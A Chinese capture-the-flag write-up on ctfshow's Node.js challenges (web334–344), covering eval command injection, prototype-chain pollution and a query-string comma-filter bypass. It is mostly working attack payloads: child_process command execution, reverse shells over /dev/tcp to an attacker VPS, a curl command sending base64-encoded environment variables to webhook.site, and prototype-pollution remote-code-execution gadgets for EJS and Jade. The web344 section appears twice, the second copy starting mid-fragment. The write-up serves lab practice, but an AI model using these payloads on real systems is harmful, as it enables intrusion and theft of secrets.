ctfshow&web入门之node.js 原型链污染

web334

下载源代码:

user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;     //导入user.js

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

 // **重点看这里,这里把小字母替换成大字母**

});
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);

  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });

  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  

});

module.exports = router;
所以我们输入 ctfshow:123456 就能登录

web335

访问原代码,得知有接口 /?eval ,猜测是eval()函数

可以用child_process来调用API执行系统命令:

child_process 是 Node.js 的一个核心模块,用于在应用程序中创建和管理子进程,让 JavaScript 能够在服务器端执行外部命令、脚本或者进行多进程并发运算

所以,我们可以构造

/?eval=require('child_process').execSync('ls').toString()

拆解命令

详细介绍 execSync exec

exec (异步) —— 就像发邮件
  • 过程:你告诉 Node.js:“去帮我执行 ls,结果出来后发邮件(回调函数)告诉我。”
  • 执行流:Node.js 发出命令后,立即继续执行后面的代码,不会停下来等结果。
  • 结果:它的返回值是一个 ChildProcess 对象,里面包含进程 ID 等信息,但不包含命令的输出内容。
  • 为什么在 eval 中失效eval 执行完 exec 后,命令可能还没跑完。由于没有写回调函数处理结果,页面上什么都不会显示。
execSync (同步) —— 就像打固定电话
  • 过程:你告诉 Node.js:“去帮我执行 ls我就在这里等着,你不拿回来结果我不挂电话。”
  • 执行流:Node.js 会阻塞(暂停)后续所有代码的运行,直到系统命令执行完毕并返回数据。
  • 结果:它的返回值直接就是命令的输出结果(以 Buffer 格式)。
  • 为什么在 eval 中好用eval 会等待 execSync 完成,并把拿到的结果直接输出到响应中,让你在浏览器里直接看到 ls.
toString() 的作用

execSync 返回的数据类型不是字符串,而是 Buffer(二进制缓冲区)

  • 如果你不加 toString(),输出到页面上的可能是类似 <Buffer 66 6c 61 67 7b ...> 这样的十六进制数据。
  • 调用 toString() 会将这些二进制字节转换成我们能看懂的 UTF-8 字符串

其他利用方式:

1.spawnSync

require('child_process').spawnSync('cat', ['fl00g.txt']).stdout.toString()      //不需要启动shell,直接开启进程

2.绕过require

process.mainModule.require('child_process').execSync('cat fl00g.txt').toString()

3.反弹

require('child_process').exec('bash -i >& /dev/tcp/你的IP/端口 0>&1')

4.读目录+读文件(利用Node.js 原生的 fs 模块)

require('fs').readdirSync('.').toString()
require('fs').readFileSync('fl00g.txt').toString()

web336

这题和上一题没什么区别,不过 execSync 没用了

这次我们先读源代码看看

介绍两个变量,__filename__dirname

__filename:获取当前模块文件的完整绝对路径文件名
__dirname:获取当前文件所在目录的完整目录名

我们直接:/?eval=__filename

读到当前文章路径/app/routes/index.js之后,用fs模块的readFileSync()来读取文件

/?eval=require('fs').readFileSync('/app/routes/index.js').toString()

得出源代码:

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {

  res.type('html');
  var evalstring = req.query.eval;
  if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
    res.render('index', { title: 'tql' });
  } else {
    res.render('index', { title: eval(evalstring) });
  }
});

module.exports = router;

之后,我们可以采用字符串拼接,比如:/?eval=require(‘child_process’)‘exe’%2B’cSync’.toString()

/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

或者直接读文件:

/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')

web337

题目给出了源代码:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

我们重点看这个函数:a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

我们先介绍一下 JavaScript 的隐形转化

1.著名的 [ ] 与 ! 转化(JSFuck 基础)

利用 []!+,你可以仅用 6 个字符构造出任何 JavaScript 代码。

  • [] 变字符串[] + [] 会得到空字符串 ""
  • 强制转布尔![]false,而 !![]true
  • 变数字+[]0+![]0+!![]1
  • 获取字符
    • (![] + []) 得到字符串 "false"
    • (![] + [])[0] 得到字符 "f"
    • ([][[]] + []) 得到字符串 "undefined"(因为访问空数组不存在的索引)。
2.双等号 == 的宽松比较

这是最容易出 Bug 也最容易利用的地方。== 会在比较前强制转换类型,而 ===(全等)不会。

  • 0 == "0"true(字符串转数字)。
  • 0 == []true(数组转原始值 "" 再转数字 0)。
  • false == "0"true
  • null == undefinedtrue
3.字符串拼接 vs 数学运算
  • 加号 + 的双重身份
    • 只要有一边是字符串,就会变成 字符串拼接
    • 1 + "1" = "11"
    • ['1']+"aaa" = "1aaa" //JavaScript 引擎会尝试把数组 ['1'] 转换成原始值,默认为[‘1’].toString(),结果为'1'
  • 减号/乘号 -, \*, /
    • 它们是纯粹的数学运算符,会将两边都强制转为 数字
    • "10" - 1 = 9
    • "10" * "2" = 20

所以我们构造 ?a[]=1&b=1 就能拿到flag了

web338

看看源码,先看app.js,没找到有用的

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

去看看index.js和login.js

在login.js的源代码中可以看到:

 var secert = {};

utils.copy(user,req.body);

  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

我们要修改secret的ctfshow属性来得到flag,但secret属性值为空

utils.copy(target, source);:这是一个逻辑指令,意为将 source(源对象)的所有属性复制到 target(目标对象)中。

由于copy竟然跟merge方法一模一样,因此这题可以用原型链污染来做,传入属性__proto__来污染Object原型

function merge(target, source) {
    for (let key in source) {
        // 检查 key 是否同时存在于源对象和目标对象中
        if (key in source && key in target) {
            // 如果两个值都是对象,则递归进行深度合并
            merge(target[key], source[key]);
        } else {
            // 否则,直接将源对象的属性赋值给目标对象
            target[key] = source[key];
        }
    }
}


我们先抓个包

pexBUht.png

之后修改键值对为{"__proto__":{"ctfshow":"36dboy"}},就成功拿到flag了

pexBd9P.png

原型链被污染之后,其他的代码块功能也可能会出错,post请求会报错,所以一旦写错就要重启容器

web339

打开app.js,可以看到里面引入了三个路由

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');

在login.js中

var flag='flag_here';
  var secert = {};
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

此时flag为题目后台的flag,我们不知道所以不能像上题这样做

在app.js中

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});

});

Function(query):创建一个匿名函数,其参数名为 query 的值。

(...)(query):立即执行这个函数,并把 query 作为参数传入。

因为在正常的 Node.js 文件中,可以直接使用 require()。但在通过 new Function()Function() 动态创建的函数内部,require 是不存在的。但 process 变量通常是全局可用的

process.mainModule 指向启动程序的主模块。

process.mainModule.constructor 实际上就是 Node.js 内部的 Module 类。

_load 函数:这是 require 底层真正的实现函数。通过调用它,我们绕过了“局部变量 require 不存在”的限制,强行加载了 child_process 模块。

所以,我们构造命令

1.反弹
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/个人vps公网网址/端口 0>&1\"')"}}
2.外带(没有成功,估计是没有curl命令)
{
  "__proto__": {
    "query": "return global.process.mainModule.constructor._load('child_process').execSync('curl -X POST -d \"$(env | base64 -w 0)\" https://webhook.site/你的唯一ID')"
  }
}

之后访问 http://靶场/api (目的是为了调用query函数),在hackbar发送post请求,就可以在服务器利用反弹了

pexBw1f.png

flag在环境变量env里

注意:反弹的端口是固定的,在自己的服务器上写好的,随便指定端口可能不行,具体看服务器配置

web340

分析源码,还是这几个文件:

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');

api.js和上题相同,打开login.js

 var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

此时,我们再采用上一题的做法,就不行了

为什么一个 __proto__ 不行?

如果你发送 {"__proto__": {"query": "..."}}

  1. utils.copy 会尝试将 req.body.__proto__(即你的 Payload)复制到 user.userinfo.__proto__ 上。
  2. 关键点user.userinfo 是一个特定函数的实例。user.userinfo.__proto__ 指向的是那个匿名函数的原型(anonymous function.prototype),而不是全局的 Object.prototype
  3. 这意味着你的污染被局限在了 user.userinfo 这一层级,并没有影响到全局。当 api.js 尝试创建一个新对象或调用 Function 时,它访问的是全局 Object.prototype,那里依然是干净的。

所以,我们应该多使用一个proto :{“proto”: {“proto”: {“query”: “…”}}}

构造:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

之后在环境变量里拿到flag

web341

看源代码,发现api.js消失了,login.js也没有污染。我们看看login.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

但是在 app.js 中,发现其包含了ejs,且引擎设置为ejs

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

首先介绍一下漏洞函数:**generateSource()

漏洞位于 EJS 内部的 generateSource 函数(针对 3.1.6 版本)。它会生成函数代码以构建真正的渲染函数。
在生成过程中,如果用户通过 options 对象传递了 outputFunctionName,代码会进行如下处理:

if (opts.outputFunctionName) {
  // 直接将用户输入拼接到代码字符串中!
  prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

查找属性:EJS 尝试读取 options.outputFunctionName

原型链回溯:由于 options 对象本身没有这个属性,它会顺着原型链往上找,最终在 Object.prototype 找到了攻击者刚才“埋”进去的代码。

动态拼接:EJS 会把这个属性的值直接拼接到生成的 JavaScript 函数代码字符串中

执行:EJS 使用 new Function() 执行生成的字符串,攻击者的恶意代码(如反弹 Shell)随之运行

所以我们构造:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}

pexBmkR.png

之后在环境变量拿到flag

web342

总体代码和上一题差不多,但是app.js中,模版引擎从ejs换成了jade

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express); 
app.set('view engine', 'jade');

login.js和上题一样

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

});

在 Jade 的源码中,如果 compileDebug 选项为 true,编译器会在生成的函数字符串中加入调试信息(例如当前行号)。

一段典型的 Jade 编译逻辑如下:

if (compileDebug) {
  // 引擎会尝试获取 line 属性并拼接到渲染函数中
  buf.push('jade_line = ' + line + ';'); 
}

如果攻击者通过原型链污染了 Object.prototype.line,那么 line 的内容就会被原封不动地拼接到渲染函数中。如果 line 包含一段恶意的 JS 代码,这段代码就会在渲染模板时执行。

我们尝试构造:

{
  "__proto__": {
    "compileDebug": true,
    "self": true,
    "line": " process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/攻击者IP/端口 0>&1\"')"
  }
}

结果报错:TypeError: this[(“visit” + node.type)] is not a function

由于我们的代码中没有节点 node.type ,jade模版找不到,所以引发报错

所以,我们要在代码前面强制指定了 "type": "Block"。Jade 编译器内部刚好有一个合法的方法叫 visitBlock

  • 当编译器执行 this["visit" + node.type] 时,实际上是在执行 this["visitBlock"]
  • 这是一个有效的函数,程序得以继续向下运行,直到触发你的恶意代码。

通过设置 "nodes": ""(空字符串),骗过了编译器的递归逻辑。 通常 visitBlock 会尝试遍历 nodes 数组。如果不提供 nodes,它可能会报错;而提供一个空值,编译器会认为这个“块”是空的,从而直接跳过子节点的处理,安全地过渡到你的 line 注入点。

所以我们构造:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

之后在环境变量就能找到flag,记得以application/json的形式发送

web343

这题和上一题差不多,一样的,后台只过滤了Test,没什么作用,像上题一样解答即可

web344

最后一题

分析源代码:

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

可以看到它过滤了8c、2c和逗号,然后要求GET传入参数query

query还要满足要求:query.name===‘admin’&&query.password===‘ctfshow’&&query.isVIP===true

所以正常情况下,我们要传入:?query={“name”:“admin”,“password”:“ctfshow”,“isVIP”:true}

url编码之后:?query=%7B%22name%22%3A%22admin%22%2C%22password%22%3A%22ctfshow%22%2C%22isVIP%22%3Atrue%7D

此时2c(逗号)就出现了,就会被ban

我们就可以利用Node.js的特性:多个同名参数会被其放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析

阶段 数据状态 安全检查/处理
原始请求 ?query=A&query=B&query=C ,2c,通过正则检查
参数解析 req.query.query = [A, B, C] Node.js 将重名参数转为数组
隐式转换 [A, B, C] -> "A,B,C" 关键点:数组转换自动补回了被禁用的逗号
JSON解析 JSON.parse("A,B,C") 成功还原为 Object,满足 isVIP===true

所以我们构造:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

就能拿到flag

Atrue%7D

此时2c(逗号)就出现了,就会被ban

我们就可以利用Node.js的特性:多个同名参数会被其放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析

阶段 数据状态 安全检查/处理
原始请求 ?query=A&query=B&query=C ,2c,通过正则检查
参数解析 req.query.query = [A, B, C] Node.js 将重名参数转为数组
隐式转换 [A, B, C] -> "A,B,C" 关键点:数组转换自动补回了被禁用的逗号
JSON解析 JSON.parse("A,B,C") 成功还原为 Object,满足 isVIP===true

所以我们构造:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

就能拿到flag

更多推荐